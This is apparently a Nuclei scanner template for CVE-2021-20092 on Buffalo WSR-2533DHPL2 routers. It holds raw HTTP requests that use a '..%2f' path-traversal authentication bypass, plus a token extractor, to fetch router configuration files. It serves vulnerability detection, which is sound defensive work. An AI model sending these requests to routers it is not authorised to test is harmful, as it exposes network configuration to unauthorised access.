Buffalo WSR-2533DHPL2 - Improper Access Control

id: CVE-2021-20092

info:
  name: Buffalo WSR-2533DHPL2 - Improper Access Control
  author: gy741,pdteam,parth
  severity: high
  description: |
    The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly restrict access to sensitive information from an unauthorized actor.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's configuration settings and potentially compromise the entire network.
  remediation: |
    Apply the latest firmware update provided by Buffalo to fix the access control issue.
  reference:
    - https://www.tenable.com/security/research/tra-2021-13
    - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20091
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-20092
    cwe-id: CWE-287
    epss-score: 0.0817
    epss-percentile: 0.94177
    cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: buffalo
    product: wsr-2533dhpl2-bk_firmware
  tags: cve2021,cve,buffalo,firmware,iot,tenable,vkev,vuln

http:
  - raw:
      - |
        GET /images/..%2finfo.html HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/info.html
      - |
        GET /images/..%2fcgi/cgi_i_filter.js?_tn={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: lang=8; url=ping.html; mobile=false;
        Referer: {{BaseURL}}/info.html
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/x-javascript"

      - type: word
        words:
          - "/*DEMO*/"
          - "addCfg("
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: httoken
        group: 1
        regex:
          - 'base64\,(.*?)" border='
        internal: true
# digest: 4b0a004830460221009559e520d18418abe2d0d73cb93e51cbc4b113e91f1512dcc08a06a125b4dad90221009e79e6ce56424a23f7aa447351c8dc3310dd3f8b9f9763da0ed58c85f3b5a667:922c64590222798bb761d5b6d8e72950